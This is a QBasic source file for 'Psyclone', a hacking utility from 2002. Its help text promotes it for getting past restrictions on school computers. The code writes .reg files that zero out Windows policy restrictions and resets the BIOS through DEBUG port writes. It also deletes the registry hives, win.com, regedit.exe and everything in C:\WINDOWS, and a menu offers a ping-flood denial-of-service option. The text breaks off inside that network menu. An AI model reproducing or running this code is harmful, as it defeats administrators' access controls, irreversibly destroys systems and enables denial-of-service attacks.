'===========================================================================
' Subject: Work with DOS and Windows          Date: 09-15-02 (  :  )       
'  Author: Mephio                             Code: QB, Qbasic, PDS        
'  Origin: Mephio2002@yahoo.com             Packet: MENU.ABC
'===========================================================================
'This Program was written by Mephio (Mephio2002@yahoo.com)
'
'Author: Mephio 
'E-Mail: Mephio2002@yahoo.com 
'Date Written: July 18, 2002 
'Code: QB, QBasic 
'
'You can use the source in your programs, but please give credit where it is
'due.     -Thanks









DECLARE SUB NetUtilsMenu ()
DECLARE SUB AllowDOS ()
DECLARE SUB KillRegMenu ()
DECLARE SUB KillSysFiles ()
DECLARE SUB KillFilesMenu ()
DECLARE SUB PsyText ()
DECLARE SUB HelpMenu ()
DECLARE SUB Help ()
DECLARE SUB About ()
DECLARE SUB FileDelete ()
DECLARE SUB Bios ()
DECLARE SUB Opening ()
DECLARE SUB time ()
DECLARE SUB RestoreOriginal ()
DECLARE SUB ChangeSetting ()
DECLARE SUB KillReg ()
DECLARE SUB Options ()
DECLARE SUB Quit ()
DECLARE SUB NoPolicies ()
DECLARE SUB NoPassword ()
DECLARE SUB MainMenu ()
DECLARE SUB Title ()
DECLARE SUB Complete ()
DECLARE SUB scrn ()
DIM SHARED Phrase2$(1 TO 1000)
DIM SHARED Phrase$(1 TO 200)
DIM SHARED Titles$
COMMON SHARED CurDrive$, windir$, mainlen, undopassword, TempDrive$, poldrive$
ON ERROR GOTO errorh



'Variables
CurDrive$ = "C:\"
windir$ = "WINDOWS"
mainlen = 3
TempDrive$ = "C:\"






CLS

Opening

errorh:
RESUME NEXT
RETURN

'Explorer
DATA "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
DATA "ClearRecentDocsOnExit", "DisableRegistryTools", "NoAddPrinter", "NoClose"
DATA "NoDeletePrinter", "NoDesktop", "NoDevMgrUpdate", "NoFind", "NoInternetIcon"
DATA "NoNetHood", "NoRecentDocsHistory", "NoRun", "NoSaveSettings", "NoSetFolders"
DATA "NoSetTaskbar", "NoSMMyDocs", "NoSMMyPictures", "NoWindowsUpdate"
DATA "EditLevel", "EnforceShellExtensionSecurity"
DATA "NoActiveDesktop", "NoActiveDesktopChanges", "NoChangeStartMenu"
DATA "NoCommonGroups", "NoCustomizeWebView", "NoEditMenu", "NoFavoritesMenu"
DATA "NoFileMenu", "NoFileUrl", "NoForgetSoftwareUpdate", "NoHelp", "NoLogOff"
DATA "NoMSAppLogo", "NoNetConnectDisconnect", "NoRecentDocsMenu", "NoResolveSearch", "NoResolveTrack"
DATA "NoRun", "NoSetActiveDesktop", "NoSetTaskbar", "NoSettingsWizards", "NoStartMenuSubFolders"
DATA "NoTrayContextMenu", "NoViewContextMenu", "NoWebMenu", "NoWindowsUpdate"
DATA "RestrictRun"
DATA "-99"

SUB About
scrn
BG = 0
FG = 2

LOCATE 7, 15: COLOR FG, BG
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ About ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"

FOR x = 8 TO 13
LOCATE x, 15
PRINT "³                                                  ³"
NEXT
LOCATE 14, 15
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"

LOCATE 15, 16
COLOR 0, 0:
PRINT "                                                     "

FOR x = 8 TO 15
LOCATE x, 67: PRINT "  "
NEXT

LOCATE 9, 25: COLOR FG, BG
PRINT "PSYCLONE - Programmed by Mephio"
LOCATE 10, 25
PRINT "         Version 2.1"
LOCATE 12, 16
PRINT "Email me @ Mephio2002@yahoo.com with any questions"

DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Options": scrn: EXIT DO
LOOP WHILE INKEY$ = ""

END SUB

SUB AllowDOS

LOCATE 19, 12
COLOR 4, 7
PRINT "There may still be restrictions if .POL files are enabled"

DO
LOOP WHILE INKEY$ = ""

q$ = CHR$(34): z$ = CHR$(34) + "=dword:00000000"
'Makes a backup copy of the part of the registry that the program works with
SHELL "Regedit /e c:\unreg2.reg HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp"




OPEN "c:\delkey.reg" FOR OUTPUT AS #1  'This is the .reg file that trashes
                                       'most restrictive windows policies

'Opening Lines =========================================================

PRINT #1, "REGEDIT4"
PRINT #1, ""
PRINT #1, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]"
PRINT #1, q$ + "Disabled" + z$
PRINT #1, q$ + "NoRealMode" + z$
CLOSE

'=======================================================================


SHELL "REGEDIT c:\delkey.reg"
'Allows DOS in Windows



Complete


END SUB

SUB Bios

OPEN TempDrive$ + "bios.zz_" FOR OUTPUT AS #1
PRINT #1, "o 70 2e"
PRINT #1, "o 71 ff"
PRINT #1, "q"
CLOSE #1

SHELL "DEBUG < " + TempDrive$ + "bios.zz_"



Complete

END SUB

SUB ChangeSetting

Titles$ = "Change Settings"
scrn

COLOR 0, 7
DO


LOCATE 7, 20: PRINT "What setting do you want to change?"
LOCATE 9, 20: PRINT "1) Drive to search (default is C:\)"
LOCATE 10, 20: PRINT "  Current is " + CurDrive$
LOCATE 11, 20: PRINT "2) Windows directory (default is WINDOWS)"
LOCATE 12, 20: PRINT "  Current is " + LEFT$(windir$, 12)
LOCATE 13, 20: PRINT "3) Temporary file drive (default is C:\)"
LOCATE 14, 20: PRINT "  Current is " + TempDrive$
LOCATE 15, 20: PRINT "4) Back"



DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Change Setting": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= 5

IF VAL(a$) = 1 THEN GOSUB ChangeDrive
IF VAL(a$) = 2 THEN GOSUB ChangeWinDir
IF VAL(a$) = 3 THEN GOSUB ChangeTempDrive
IF VAL(a$) = 4 THEN EXIT SUB

LOOP



ChangeDrive:
LOCATE 17, 13
PRINT "What drive do you want QBH4CK to search in? "
COLOR 0, 0
LOCATE 19, 30
PRINT " ";
COLOR 0, 7
PRINT ":\  No Letter for default"

DO
       COLOR 4, 0
       a$ = INKEY$
       LOCATE 19, 30: PRINT UCASE$(a$)
      IF a$ = CHR$(27) THEN Quit
      IF a$ <> "" THEN newdrive$ = UCASE$(a$): EXIT DO
LOOP
        IF ASC(newdrive$) < 65 OR ASC(newdrive$) > 90 THEN
        CurDrive$ = "C:\"
        ELSE
        CurDrive$ = newdrive$ + ":\"
        END IF
COLOR 0, 7
DO
LOOP WHILE INKEY$ = ""
scrn
RETURN




ChangeWinDir:
LOCATE 16, 13
PRINT "What directory is Windows in? (Don't include drive) "
COLOR 0, 0
LOCATE 17, 13
COLOR 0, 7
PRINT "Blank for default"

       LOCATE 19, 13: INPUT "", newwindir$

        IF newwindir$ = "" THEN
        windir$ = "WINDOWS"
        ELSE
        windir$ = UCASE$(newwindir$)
        END IF

DO
LOOP WHILE INKEY$ = ""
scrn

RETURN


ChangeTempDrive:
LOCATE 17, 13
PRINT "What drive do you want PSYCLONE to make temp files in? "
COLOR 0, 0
LOCATE 19, 30
PRINT " ";
COLOR 0, 7
PRINT ":\  No Letter for default"

DO
       COLOR 4, 0
       a$ = INKEY$
       LOCATE 19, 30: PRINT UCASE$(a$)
      IF a$ = CHR$(27) THEN Quit
      IF a$ <> "" THEN newdrive$ = UCASE$(a$): EXIT DO
LOOP
        IF ASC(newdrive$) < 65 OR ASC(newdrive$) > 90 THEN
        TempDrive$ = "C:\"
        ELSE
        TempDrive$ = newdrive$ + ":\"
        END IF
COLOR 0, 7

DO
LOOP WHILE INKEY$ = ""
scrn

RETURN


END SUB

SUB Complete
scrn
LOCATE 19, 30
COLOR 4, 7
PRINT "Operation Complete"

DO
LOOP WHILE INKEY$ = ""

LOCATE 19, 30
PRINT "                  "

END SUB

SUB Edit.MSDOS.SYS

FG = 2: BG = 0

LOCATE 6, 20: COLOR FG, BG
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 7 TO 15: LOCATE x, 20
PRINT "³                                       ³": NEXT
LOCATE 16, 20
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"



LOCATE 7, 25: PRINT "Do you want to allow bootkeys?"
LOCATE 8, 25: PRINT "(Press keys to bring up options"
LOCATE 9, 25: PRINT "menus during boot up and/or bypass"
LOCATE 10, 25: PRINT "config.sys and autoexec.bat)"
LOCATE 13, 25: PRINT "< "; : COLOR 15, BG: PRINT "Y"; : COLOR FG, BG: PRINT "es >";
PRINT "                < "; : COLOR 15, BG: PRINT "N"; : COLOR FG, BG: PRINT "o >"


DO
a$ = INKEY$
IF a$ = CHR$(27) THEN EXIT SUB
IF UCASE$(a$) = "Y" THEN Keys = 1: EXIT DO
IF UCASE$(a$) = "N" THEN Keys = 0: delay$ = "D": EXIT DO

LOOP


IF Keys = 1 THEN GOSUB CheckBootDelay



OPEN CurDrive$ + "msdos.sys" FOR INPUT AS #1
OPEN TempDrive$ + "MSDOS.00_" FOR OUTPUT AS #2

DO
LINE INPUT #1, line$
IF (LEFT$(UCASE$(line$), 8) <> "BOOTKEYS") AND (LEFT$(UCASE$(line$), 9) <> "BOOTDELAY") THEN
PRINT #2, line$
END IF

LOOP UNTIL EOF(1)

PRINT #2, "BOOTKEYS=" + RIGHT$(STR$(Keys), 1)
IF LEFT$(UCASE$(delay$), 1) <> "D" THEN PRINT #2, "BOOTDELAY=" + MID$(STR$(delay), 2, LEN(delay) - 1)


CLOSE


SHELL "copy " + CurDrive$ + "msdos.sys " + TempDrive$ + "msdos.bak /y > " + TempDrive$ + "a.txt"
SHELL "copy " + TempDrive$ + "msdos.00_ " + CurDrive$ + "msdos.sys /y > " + TempDrive$ + "a.txt"
KILL TempDrive$ + "msdos.00_"

EXIT SUB


CheckBootDelay:
LOCATE 6, 20: COLOR FG, BG
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 7 TO 15: LOCATE x, 20
PRINT "³                                       ³": NEXT
LOCATE 16, 20
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"



LOCATE 7, 25: PRINT "What do you want the boot delay"
LOCATE 8, 25: PRINT "to be?  (This determines how long"
LOCATE 9, 25: PRINT "the computer waits for you to "
LOCATE 10, 25: PRINT "a key during boot up:  0 "
LOCATE 11, 25: PRINT "is none: input 'D' for default."

LOCATE 13, 25:
INPUT "", delay$
IF LEFT$(UCASE$(delay$), 1) <> "D" THEN delay = VAL(delay$)
RETURN


END SUB

SUB FileDelete
LOCATE 7, 15: COLOR 0, 7
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Full File Delete ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"

FOR x = 8 TO 13
LOCATE x, 15
PRINT "³                                                  ³"
NEXT
LOCATE 14, 15
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"

LOCATE 15, 16
COLOR 0, 0:
PRINT "                                                     "

FOR x = 8 TO 15
LOCATE x, 67: PRINT "  "
NEXT

COLOR 0, 7
LOCATE 9, 20
PRINT "Enter the full path and name of the program"
LOCATE 10, 20
PRINT "you wish to delete.  You will not be able to"
LOCATE 11, 20
PRINT "undelete it!!!  Leave blank to cancel."
LOCATE 13, 20
INPUT "", File$

IF File$ = "" THEN EXIT SUB

LOCATE 5, 25: COLOR 0, 4
PRINT "ÚÄÄÄÄÄÄÄÄÄÄ Confirm Delete ÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 6 TO 9
LOCATE x, 25
PRINT "³                                    ³"
NEXT
LOCATE 10, 25
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"

LOCATE 6, 26: PRINT "    This file will be permanently"
LOCATE 7, 26: PRINT " deleted!  Do you want to Continue?"
LOCATE 9, 26: PRINT "      < Yes >          < No >"
LOCATE 9, 34: COLOR 15, 4: PRINT "Y"
LOCATE 9, 51: PRINT "N"

LOCATE 11, 26
COLOR 8, 0:
PRINT "te it!!!  Leave blank to cancel.       "

FOR x = 6 TO 11
LOCATE x, 63: PRINT "  "
NEXT
LOCATE 7, 63: PRINT "ÄÄ"
LOCATE 10, 63: PRINT "o"

DO
a$ = INKEY$
IF UCASE$(a$) = "Y" THEN GOSUB Proceed: EXIT SUB
IF UCASE$(a$) = "N" THEN EXIT DO
IF UCASE$(a$) = CHR$(27) THEN EXIT DO

LOOP

EXIT SUB


Proceed:

SHELL "ATTRIB -R -H -S " + File$

OPEN File$ FOR OUTPUT AS #2
PRINT #2, "This file has been deleted by PSYCLONE"
CLOSE #2

KILL File$
Complete
RETURN


END SUB

SUB Help
scrn

FG = 2: BG = 0

Top = 8: Bottom = 18: Left = 22: Right = 65




LOCATE 6, 20: COLOR FG, BG
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 7 TO 18
LOCATE x, 20
PRINT "³                                             °"
NEXT
LOCATE 19, 20
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"
LOCATE 20, 21
COLOR 0, 0
PRINT STRING$(48, " ")
FOR x = 7 TO 20
LOCATE x, 67
PRINT "  "
NEXT

LOCATE 7, 66: COLOR FG, BG: PRINT ""
LOCATE 18, 66: PRINT ""


GOSUB Dima

LOCATE 6, 43 - LEN(Titles2$) / 2
PRINT Titles2$

GOSUB PutStuff

DO
b$ = INKEY$
IF b$ <> "" THEN GOSUB KeyHandle


LOOP UNTIL b$ = CHR$(27)

EXIT SUB


KeyHandle:


IF RIGHT$(b$, 1) = "P" THEN
 IF Num < MaxX - 1 THEN Num = Num + 1: GOSUB PutStuff
END IF

IF RIGHT$(b$, 1) = "H" THEN
 IF Num > 1 THEN Num = Num - 1: GOSUB PutStuff
END IF

IF RIGHT$(b$, 1) = "O" THEN Num = MaxX - 1: GOSUB PutStuff

IF RIGHT$(b$, 1) = "G" THEN Num = 1: GOSUB PutStuff

IF RIGHT$(b$, 1) = "Q" THEN
 IF Num + (Bottom - Top) < MaxX - 1 THEN
   Num = Num + (Bottom - Top)
 ELSE
   Num = MaxX - 1
 END IF
GOSUB PutStuff
END IF

IF RIGHT$(b$, 1) = "I" THEN
 IF Num - (Bottom - Top) > 1 THEN
   Num = Num - (Bottom - Top)
 ELSE
   Num = 1
 END IF
GOSUB PutStuff
END IF



'F1 = ;
'F2 = <
'F3 = =
'F4 = >
'F5 = ?
'F6 = @
'F7 = A
'F8 = B
'F9 = C
'F10 = D
'F11 = …
'F12 = †
'Delete = S
'End = O
'Insert = R
'Home = G
'PAGE UP = I
'PAGE DOWN = Q
'UP ARROW = H
'DOWN  ARROW = P
'LEFT ARROW = K
'RIGHT ARROW = M


RETURN


PutStuff:


COLOR FG, BG
OldX = Num
Num = Num - 1
FOR y = Top TO Bottom
Num = Num + 1
LOCATE y, Left: PRINT Phrase$(Num); : PRINT STRING$(Right - LEN(Phrase$(Num)) - Left, " ")
NEXT

Num = OldX
RETURN


Dima:
Titles2$ = " Help "
Num = 1
Phrase$(Num) = "            Psyclone Version 2.1": Num = Num + 1
Phrase$(Num) = "            Programmed by Mephio": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "       E-Mail @ Mephio2002@yahoo.com": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "       IMPORTANT!!!:  THIS PROGRAM CAN NOT": Num = Num + 1
Phrase$(Num) = "USED ON WINDOWS 3.X MACHINES.  IT CAN": Num = Num + 1
Phrase$(Num) = "REALLY DAMAGE A COMPUTER IF RUN ON A 3.X PC": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "       This program should be pretty self-": Num = Num + 1
Phrase$(Num) = "explanatory.  For best results, stick it on": Num = Num + 1
Phrase$(Num) = "a boot disk and boot up the computer.  This": Num = Num + 1
Phrase$(Num) = "way, you can run Psyclone through DOS and": Num = Num + 1
Phrase$(Num) = "not have any Windows restricions put on": Num = Num + 1
Phrase$(Num) = "you (which you can remove with Psyclone :)": Num = Num + 1
Phrase$(Num) = "Psyclone may not work properly if run from": Num = Num + 1
Phrase$(Num) = "within Windows.": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     To undo disabling the Registry files,": Num = Num + 1
Phrase$(Num) = ".Pol files, or Windows password files,": Num = Num + 1
Phrase$(Num) = "goto Options, Restore Original Settings,": Num = Num + 1
Phrase$(Num) = "and hit whatever needs to be restored.": Num = Num + 1
Phrase$(Num) = "(Do not disable the Registry Explorer key": Num = Num + 1
Phrase$(Num) = "more than once, or you will not be able to": Num = Num + 1
Phrase$(Num) = "undo it through Psyclone.)": Num = Num + 1
Phrase$(Num) = "     You cannot undo a Full File Delete or": Num = Num + 1
Phrase$(Num) = "undo anything done to the BIOS.  Sorry.  I": Num = Num + 1
Phrase$(Num) = "don't know how to undo the BIOS settings": Num = Num + 1
Phrase$(Num) = "and I'm not going to try to figure it out.": Num = Num + 1
Phrase$(Num) = "If you know how to restore it, Email me.": Num = Num + 1
Phrase$(Num) = "     Psyclone can edit MSDOS.SYS to allow": Num = Num + 1
Phrase$(Num) = "you to use boot keys during bootup.  If": Num = Num + 1
Phrase$(Num) = "you want to undo the changes made to": Num = Num + 1
Phrase$(Num) = "MSDOS.SYS, you have to hit the button": Num = Num + 1
Phrase$(Num) = "in the Restore Original Settings.": Num = Num + 1
Phrase$(Num) = "(This is not undone if you hit Undo All!)": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     You can change default directories": Num = Num + 1
Phrase$(Num) = "through Options, Change Settings.  You": Num = Num + 1
Phrase$(Num) = "can restore the defaults the same way": Num = Num + 1
Phrase$(Num) = "as restoring the Windows password.": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     You can view important system files": Num = Num + 1
Phrase$(Num) = "by going to Options, View a System file.": Num = Num + 1
Phrase$(Num) = "I wanted everything to be built in to": Num = Num + 1
Phrase$(Num) = "the program, so you can't edit these ": : Num = Num + 1
Phrase$(Num) = "files. ": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     You can also destroy important system": Num = Num + 1
Phrase$(Num) = "files (You won't be able to undo it!) by": Num = Num + 1
Phrase$(Num) = "going to Kill Files, Kill System Files": Num = Num + 1
Phrase$(Num) = "(Just in case it's too much trouble to": Num = Num + 1
Phrase$(Num) = "try and hack a computer 
)": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     I know that there's not much to the": Num = Num + 1
Phrase$(Num) = "program now, but if you're running it": Num = Num + 1
Phrase$(Num) = "on a school computer that's placed too": Num = Num + 1
Phrase$(Num) = "many restrictions on you, Psyclone can": Num = Num + 1
Phrase$(Num) = "easily help you undo some of those": Num = Num + 1
Phrase$(Num) = "restricions.": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     I will continue to update this": Num = Num + 1
Phrase$(Num) = "program as much as possible.  Please": Num = Num + 1
Phrase$(Num) = "Email me any comments and suggestions": Num = Num + 1
Phrase$(Num) = "for something I should add (Don't ": Num = Num + 1
Phrase$(Num) = "send me any hate mail.)": Num = Num + 1
Phrase$(Num) = "": Num = Num + 1
Phrase$(Num) = "     Thanx for trying out my program": Num = Num + 1
Phrase$(Num) = "                       ==MEPHIO==": Num = Num + 1



MaxX = Num
Num = 1

RETURN


END SUB

SUB HelpMenu

HelpX = 23
Rounds = 2
Round = 1

GOSUB DrawHelpMenu
GOSUB HighlightHelpMenu
DO
a$ = INKEY$


IF a$ <> "" THEN GOSUB HelpKeyHandle

LOOP


DrawHelpMenu:
COLOR 0, 7
LOCATE 2, HelpX: PRINT "ÚÄÄÄÄÄÄÄÄÄ¿"
LOCATE 3, HelpX: PRINT "³ About   ³ÛÛ"
LOCATE 4, HelpX: PRINT "³ Help    ³ÛÛ"
LOCATE 5, HelpX: PRINT "ÀÄÄÄÄÄÄÄÄÄÙÛÛ"
LOCATE 6, HelpX + 1: PRINT "ÛÛÛÛÛÛÛÛÛÛÛÛ"

RETURN


HighlightHelpMenu:
COLOR 7, 0
LOCATE Round + 2, HelpX + 1
IF Round = 1 THEN PRINT " About   ": LOCATE 3, HelpX + 2: COLOR 15, 0: PRINT "A": LOCATE 4, HelpX + 2: COLOR 15, 7: PRINT "H"
IF Round = 2 THEN PRINT " Help    ": LOCATE 4, HelpX + 2: COLOR 15, 0: PRINT "H": LOCATE 3, HelpX + 2: COLOR 15, 7: PRINT "A"


RETURN


HelpKeyHandle:
IF a$ = CHR$(27) THEN EXIT SUB

IF RIGHT$(a$, 1) = "P" THEN Round = Round - 1
IF RIGHT$(a$, 1) = "H" THEN Round = Round + 1

IF a$ = CHR$(13) THEN
 IF Round = 1 THEN About: EXIT SUB
 IF Round = 2 THEN Help: EXIT SUB
END IF

IF UCASE$(a$) = "A" THEN About: EXIT SUB
IF UCASE$(a$) = "H" THEN Help: EXIT SUB

'Handle Rounds
IF Round > Rounds THEN Round = Round - Rounds
IF Round < 1 THEN Round = Round + Rounds

GOSUB DrawHelpMenu
GOSUB HighlightHelpMenu

RETURN


END SUB

SUB KillFilesMenu

Titles$ = "Kill Files"
scrn


DO
COLOR 0, 7

LOCATE 7, 25: PRINT "What do you want to do?"
LOCATE 9, 20: PRINT "1) Permanently delete a file"
LOCATE 10, 20: PRINT "2) Kill system files"
LOCATE 11, 20: PRINT "3) Back to Main Menu"

DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Kill Files": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= 3
IF VAL(a$) = 1 THEN FileDelete: Titles$ = "Kill Files": scrn
IF VAL(a$) = 2 THEN KillSysFiles: Titles$ = "Kill Files": scrn
IF VAL(a$) = 3 THEN EXIT SUB
LOOP


END SUB

SUB KillReg

q$ = CHR$(34): z$ = CHR$(34) + "=dword:00000000"

'Makes a backup copy of the part of the registry that the program works with


SHELL "Regedit /e c:\unreg.reg HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"







OPEN "c:\delkey.reg" FOR OUTPUT AS #1  'This is the .reg file that trashes
                                       'most restrictive windows policies

'Opening Lines =========================================================

PRINT #1, "REGEDIT4"
PRINT #1, ""


'=======================================================================

DO UNTIL reg$ = "-99"
READ reg$
IF reg$ = "-99" THEN EXIT DO
IF LEN(reg$) < 30 AND LEN(reg$) >= 1 THEN
PRINT #1, q$ + reg$ + z$
ELSEIF LEN(reg$) = 0 THEN
PRINT #1, reg$
ELSE
PRINT #1, reg$
END IF
LOOP


CLOSE

SHELL "REGEDIT c:\delkey.reg"
Complete
'Explorer



















END SUB

SUB KillRegMenu
Titles$ = "Registry Editor"
scrn

COLOR 0, 7
DO

LOCATE 7, 20: PRINT "What do you want to do?"
LOCATE 9, 20: PRINT "1) Disable Registry settings in Explorer"
LOCATE 10, 20: PRINT "2) Disable Registry restrictions on DOS"
LOCATE 11, 20: PRINT "3) Back to main menu"



DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Registry Editor": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= 3

IF VAL(a$) = 1 THEN KillReg: Titles$ = "Registry Editor": scrn
IF VAL(a$) = 2 THEN AllowDOS: Titles$ = "Registry Editor": scrn
IF VAL(a$) = 3 THEN EXIT SUB

LOOP


END SUB

SUB KillSysFiles




Titles2$ = " !WARNING! "
GOSUB Box
BEEP

LOCATE 7, 24: PRINT "YOU ARE ABOUT TO DELETE"
LOCATE 8, 24: PRINT "IMPORTANT SYSTEM FILES"
LOCATE 9, 32: PRINT "PROCEED?"
LOCATE 11, 27: PRINT "< "; : COLOR 15, 4: PRINT "Y"; : COLOR 0, 4: PRINT "es >";
           PRINT "    < "; : COLOR 15, 4: PRINT "N"; : COLOR 0, 4: PRINT "o >"


DO
a$ = INKEY$
IF UCASE$(a$) = "N" THEN EXIT SUB
IF UCASE$(a$) = "Y" THEN EXIT DO
IF a$ = CHR$(27) THEN END

LOOP

BEEP

GOSUB Box

LOCATE 7, 22: PRINT "THIS ACTION WILL CAUSE YOUR"
LOCATE 8, 22: PRINT "COMPUTER TO FAIL AND CAN'T"
LOCATE 9, 23: PRINT "BE UNDONE BY PSYCLONE"
LOCATE 10, 32: PRINT "PROCEED?"
LOCATE 12, 27: PRINT "< "; : COLOR 15, 4: PRINT "Y"; : COLOR 0, 4: PRINT "es >";
PRINT "    < "; : COLOR 15, 4: PRINT "N"; : COLOR 0, 4: PRINT "o >"


DO
a$ = INKEY$
IF UCASE$(a$) = "N" THEN EXIT SUB
IF UCASE$(a$) = "Y" THEN EXIT DO
IF a$ = CHR$(27) THEN END

LOOP

GOSUB Box

BEEP
Titles2$ = " !CONFIRMATION! "
GOSUB Box

LOCATE 7, 22: PRINT " TO PREVENT ACCIDENTAL "
LOCATE 8, 22: PRINT "DELETION OF SYSTEM FILES"
LOCATE 9, 23: PRINT "ENTER THE CONFIRMATION #"
LOCATE 10, 32: PRINT "#: 0051031"

LOCATE 12, 35:
a$ = ""
INPUT "", a$
IF a$ <> "0051031" THEN EXIT SUB


IF a$ = "0051031" THEN
SHELL "ATTRIB -H -R -S c:\windows\system.dat"
SHELL "ATTRIB -H -R -S c:\windows\system.da0"
SHELL "ATTRIB -H -R -S c:\windows\user.dat"
SHELL "ATTRIB -H -R -S c:\windows\user.da0"


KILL "C:\windows\system.dat"
KILL "C:\WINDOWS\SYSTEM.DA0"
KILL "C:\WINDOWS\USER.DAT"
KILL "C:\WINDOWS\USER.DA0"
KILL "C:\WINDOWS\WIN.COM"
KILL "C:\WINDOWS\REGEDIT.EXE"
KILL "C:\WINDOWS\*.*"
KILL "C:\Config.sys"

Complete
END IF

EXIT SUB

Box:
LOCATE 6, 20: COLOR 0, 4
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 7 TO 14: LOCATE x, 20:
PRINT "³                             ³": NEXT
LOCATE 15, 20
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"
LOCATE 6, 35 - LEN(Titles2$) / 2
PRINT Titles2$
RETURN





END SUB

SUB MainMenu

Titles$ = "Main Menu"
scrn




DO
COLOR 0, 7

LOCATE 7, 25: PRINT "What do you want to do?"
LOCATE 9, 20: PRINT "1) Disable Windows Password"
LOCATE 10, 20: PRINT "2) Disable Policy (.POL) Files"
LOCATE 11, 20: PRINT "3) Disable Registry Restrictions"
LOCATE 12, 20: PRINT "4) Reset BIOS settings"
LOCATE 13, 20: PRINT "5) Kill Files"
LOCATE 14, 20: PRINT "6) Net Utilities"
LOCATE 15, 20: PRINT "7) Options"
LOCATE 16, 20: PRINT "8) Quit"

DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Main Menu": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= 8
IF VAL(a$) = 1 THEN NoPassword: Titles$ = "Main Menu": scrn
IF VAL(a$) = 2 THEN NoPolicies: Titles$ = "Main Menu": scrn
IF VAL(a$) = 3 THEN KillRegMenu: Titles$ = "Main Menu": scrn
IF VAL(a$) = 4 THEN Bios: Titles$ = "Main Menu": scrn
IF VAL(a$) = 5 THEN KillFilesMenu: Titles$ = "Main Menu": scrn
IF VAL(a$) = 6 THEN NetUtilsMenu: Titles$ = "Main Menu": scrn
IF VAL(a$) = 7 THEN Options: Titles$ = "Main Menu": scrn
IF VAL(a$) = 8 THEN Quit
LOOP



END SUB

SUB NetUtilsMenu

Titles$ = "Net Utilities"

scrn

COLOR 0, 7
DO

LOCATE 7, 25: PRINT "What do you want to do?"
LOCATE 9, 25: PRINT "1) Flood ping a computer (DoS)"
LOCATE 10, 25: PRINT "2) Back to main menu"
'LOCATE 11, 25: PRINT "3) Perform DOS command"
'LOCATE 12, 25: PRINT "4) Shell to DOS"
'LOCATE 13, 25: PRINT "5) View a system file"
'LOCATE 14, 25: PRINT "6) About this program"
'LOCATE 15, 25: PRINT "7) Back to main menu"



